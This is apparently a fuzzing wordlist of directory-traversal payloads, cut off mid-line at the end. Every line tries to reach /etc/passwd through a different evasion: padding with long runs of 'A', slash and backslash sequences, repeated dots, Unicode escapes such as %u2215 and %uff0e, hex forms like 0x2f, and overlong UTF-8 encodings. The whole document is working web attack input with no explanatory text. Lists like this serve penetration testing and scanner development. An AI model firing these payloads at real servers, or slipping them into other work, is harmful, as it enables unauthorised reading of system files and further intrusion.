AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\..\\..\\..\\..\\..\\..\\/etc/passwd\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\..\\..\\..\\..\\..\\..\\..\\/etc/passwd\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\..\\..\\..\\..\\..\\..\\..\\..\\/etc/passwd\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/..//etc/passwd\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../..//etc/passwd\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../..//etc/passwd\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../..//etc/passwd\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../..//etc/passwd\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../..//etc/passwd\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../../..//etc/passwd\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../../../..//etc/passwd\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\..\\/etc/passwd\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\..\\..\\/etc/passwd\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\..\\..\\..\\/etc/passwd\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\..\\..\\..\\..\\/etc/passwd\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\..\\..\\..\\..\\..\\/etc/passwd\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\..\\..\\..\\..\\..\\..\\/etc/passwd\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\..\\..\\..\\..\\..\\..\\..\\/etc/passwd\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\..\\..\\..\\..\\..\\..\\..\\..\\/etc/passwd\r\n...//etc/passwd\r\n.../...//etc/passwd\r\n.../.../...//etc/passwd\r\n.../.../.../...//etc/passwd\r\n.../.../.../.../...//etc/passwd\r\n.../.../.../.../.../...//etc/passwd\r\n.../.../.../.../.../.../...//etc/passwd\r\n.../.../.../.../.../.../.../...//etc/passwd\r\n...\\/etc/passwd\r\n...\\...\\/etc/passwd\r\n...\\...\\...\\/etc/passwd\r\n...\\...\\...\\...\\/etc/passwd\r\n...\\...\\...\\...\\...\\/etc/passwd\r\n...\\...\\...\\...\\...\\...\\/etc/passwd\r\n...\\...\\...\\...\\...\\...\\...\\/etc/passwd\r\n...\\...\\...\\...\\...\\...\\...\\...\\/etc/passwd\r\n....//etc/passwd\r\n..../....//etc/passwd\r\n..../..../....//etc/passwd\r\n..../..../..../....//etc/passwd\r\n..../..../..../..../....//etc/passwd\r\n..../..../..../..../..../....//etc/passwd\r\n..../..../..../..../..../..../....//etc/passwd\r\n..../..../..../..../..../..../..../....//etc/passwd\r\n....\\/etc/passwd\r\n....\\....\\/etc/passwd\r\n....\\....\\....\\/etc/passwd\r\n....\\....\\....\\....\\/etc/passwd\r\n....\\....\\....\\....\\....\\/etc/passwd\r\n....\\....\\....\\....\\....\\....\\/etc/passwd\r\n....\\....\\....\\....\\....\\....\\....\\/etc/passwd\r\n....\\....\\....\\....\\....\\....\\....\\....\\/etc/passwd\r\n..........................................................................//etc/passwd\r\n........................................................................../..//etc/passwd\r\n........................................................................../../..//etc/passwd\r\n........................................................................../../../..//etc/passwd\r\n........................................................................../../../../..//etc/passwd\r\n........................................................................../../../../../..//etc/passwd\r\n........................................................................../../../../../../..//etc/passwd\r\n........................................................................../../../../../../../..//etc/passwd\r\n..........................................................................\\/etc/passwd\r\n..........................................................................\\..\\/etc/passwd\r\n..........................................................................\\..\\..\\/etc/passwd\r\n..........................................................................\\..\\..\\..\\/etc/passwd\r\n..........................................................................\\..\\..\\..\\..\\/etc/passwd\r\n..........................................................................\\..\\..\\..\\..\\..\\/etc/passwd\r\n..........................................................................\\..\\..\\..\\..\\..\\..\\/etc/passwd\r\n..........................................................................\\..\\..\\..\\..\\..\\..\\..\\/etc/passwd\r\n..%u2215/etc/passwd\r\n..%u2215..%u2215/etc/passwd\r\n..%u2215..%u2215..%u2215/etc/passwd\r\n..%u2215..%u2215..%u2215..%u2215/etc/passwd\r\n..%u2215..%u2215..%u2215..%u2215..%u2215/etc/passwd\r\n..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215/etc/passwd\r\n..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215/etc/passwd\r\n..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215/etc/passwd\r\n%uff0e%uff0e//etc/passwd\r\n%uff0e%uff0e/%uff0e%uff0e//etc/passwd\r\n%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e//etc/passwd\r\n%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e//etc/passwd\r\n%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e//etc/passwd\r\n%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e//etc/passwd\r\n%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e//etc/passwd\r\n%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e//etc/passwd\r\n%uff0e%uff0e%u2215/etc/passwd\r\n%uff0e%uff0e%u2215%uff0e%uff0e%u2215/etc/passwd\r\n%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215/etc/passwd\r\n%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215/etc/passwd\r\n%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215/etc/passwd\r\n%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215/etc/passwd\r\n%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215/etc/passwd\r\n%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215/etc/passwd\r\n..%u2216/etc/passwd\r\n..%u2216..%u2216/etc/passwd\r\n..%u2216..%u2216..%u2216/etc/passwd\r\n..%u2216..%u2216..%u2216..%u2216/etc/passwd\r\n..%u2216..%u2216..%u2216..%u2216..%u2216/etc/passwd\r\n..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216/etc/passwd\r\n..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216/etc/passwd\r\n..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216/etc/passwd\r\n..%uEFC8/etc/passwd\r\n..%uEFC8..%uEFC8/etc/passwd\r\n..%uEFC8..%uEFC8..%uEFC8/etc/passwd\r\n..%uEFC8..%uEFC8..%uEFC8..%uEFC8/etc/passwd\r\n..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8/etc/passwd\r\n..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8/etc/passwd\r\n..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8/etc/passwd\r\n..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8/etc/passwd\r\n..%uF025/etc/passwd\r\n..%uF025..%uF025/etc/passwd\r\n..%uF025..%uF025..%uF025/etc/passwd\r\n..%uF025..%uF025..%uF025..%uF025/etc/passwd\r\n..%uF025..%uF025..%uF025..%uF025..%uF025/etc/passwd\r\n..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025/etc/passwd\r\n..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025/etc/passwd\r\n..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025/etc/passwd\r\n%uff0e%uff0e\\/etc/passwd\r\n%uff0e%uff0e\\%uff0e%uff0e\\/etc/passwd\r\n%uff0e%uff0e\\%uff0e%uff0e\\%uff0e%uff0e\\/etc/passwd\r\n%uff0e%uff0e\\%uff0e%uff0e\\%uff0e%uff0e\\%uff0e%uff0e\\/etc/passwd\r\n%uff0e%uff0e\\%uff0e%uff0e\\%uff0e%uff0e\\%uff0e%uff0e\\%uff0e%uff0e\\/etc/passwd\r\n%uff0e%uff0e\\%uff0e%uff0e\\%uff0e%uff0e\\%uff0e%uff0e\\%uff0e%uff0e\\%uff0e%uff0e\\/etc/passwd\r\n%uff0e%uff0e\\%uff0e%uff0e\\%uff0e%uff0e\\%uff0e%uff0e\\%uff0e%uff0e\\%uff0e%uff0e\\%uff0e%uff0e\\/etc/passwd\r\n%uff0e%uff0e\\%uff0e%uff0e\\%uff0e%uff0e\\%uff0e%uff0e\\%uff0e%uff0e\\%uff0e%uff0e\\%uff0e%uff0e\\%uff0e%uff0e\\/etc/passwd\r\n%uff0e%uff0e%u2216/etc/passwd\r\n%uff0e%uff0e%u2216%uff0e%uff0e%u2216/etc/passwd\r\n%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216/etc/passwd\r\n%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216/etc/passwd\r\n%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216/etc/passwd\r\n%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216/etc/passwd\r\n%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216/etc/passwd\r\n%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216/etc/passwd\r\n..0x2f/etc/passwd\r\n..0x2f..0x2f/etc/passwd\r\n..0x2f..0x2f..0x2f/etc/passwd\r\n..0x2f..0x2f..0x2f..0x2f/etc/passwd\r\n..0x2f..0x2f..0x2f..0x2f..0x2f/etc/passwd\r\n..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f/etc/passwd\r\n..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f/etc/passwd\r\n..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f/etc/passwd\r\n0x2e0x2e//etc/passwd\r\n0x2e0x2e/0x2e0x2e//etc/passwd\r\n0x2e0x2e/0x2e0x2e/0x2e0x2e//etc/passwd\r\n0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e//etc/passwd\r\n0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e//etc/passwd\r\n0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e//etc/passwd\r\n0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e//etc/passwd\r\n0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e//etc/passwd\r\n0x2e0x2e0x2f/etc/passwd\r\n0x2e0x2e0x2f0x2e0x2e0x2f/etc/passwd\r\n0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f/etc/passwd\r\n0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f/etc/passwd\r\n0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f/etc/passwd\r\n0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f/etc/passwd\r\n0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f/etc/passwd\r\n0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f/etc/passwd\r\n..0x5c/etc/passwd\r\n..0x5c..0x5c/etc/passwd\r\n..0x5c..0x5c..0x5c/etc/passwd\r\n..0x5c..0x5c..0x5c..0x5c/etc/passwd\r\n..0x5c..0x5c..0x5c..0x5c..0x5c/etc/passwd\r\n..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c/etc/passwd\r\n..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c/etc/passwd\r\n..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c/etc/passwd\r\n0x2e0x2e\\/etc/passwd\r\n0x2e0x2e\\0x2e0x2e\\/etc/passwd\r\n0x2e0x2e\\0x2e0x2e\\0x2e0x2e\\/etc/passwd\r\n0x2e0x2e\\0x2e0x2e\\0x2e0x2e\\0x2e0x2e\\/etc/passwd\r\n0x2e0x2e\\0x2e0x2e\\0x2e0x2e\\0x2e0x2e\\0x2e0x2e\\/etc/passwd\r\n0x2e0x2e\\0x2e0x2e\\0x2e0x2e\\0x2e0x2e\\0x2e0x2e\\0x2e0x2e\\/etc/passwd\r\n0x2e0x2e\\0x2e0x2e\\0x2e0x2e\\0x2e0x2e\\0x2e0x2e\\0x2e0x2e\\0x2e0x2e\\/etc/passwd\r\n0x2e0x2e\\0x2e0x2e\\0x2e0x2e\\0x2e0x2e\\0x2e0x2e\\0x2e0x2e\\0x2e0x2e\\0x2e0x2e\\/etc/passwd\r\n0x2e0x2e0x5c/etc/passwd\r\n0x2e0x2e0x5c0x2e0x2e0x5c/etc/passwd\r\n0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c/etc/passwd\r\n0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c/etc/passwd\r\n0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c/etc/passwd\r\n0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c/etc/passwd\r\n0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c/etc/passwd\r\n0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c/etc/passwd\r\n..%c0%2f/etc/passwd\r\n..%c0%2f..%c0%2f/etc/passwd\r\n..%c0%2f..%c0%2f..%c0%2f/etc/passwd\r\n..%c0%2f..%c0%2f..%c0%2f..%c0%2f/etc/passwd\r\n..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f/etc/passwd\r\n..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f/etc/passwd\r\n..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f/etc/passwd\r\n..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f/etc/passwd\r\n%c0%2e%c0%2e//etc/passwd\r\n%c0%2e%c0%2e/%c0%2e%c0%2e//etc/passwd\r\n%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e//etc/passwd\r\n%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e//etc/passwd\r\n%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e//etc/passwd\r\n%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e//etc/passwd\r\n%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e//etc/passwd\r\n%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e//etc/passwd\r\n%c0%2e%c0%2e%c0%2f/etc/p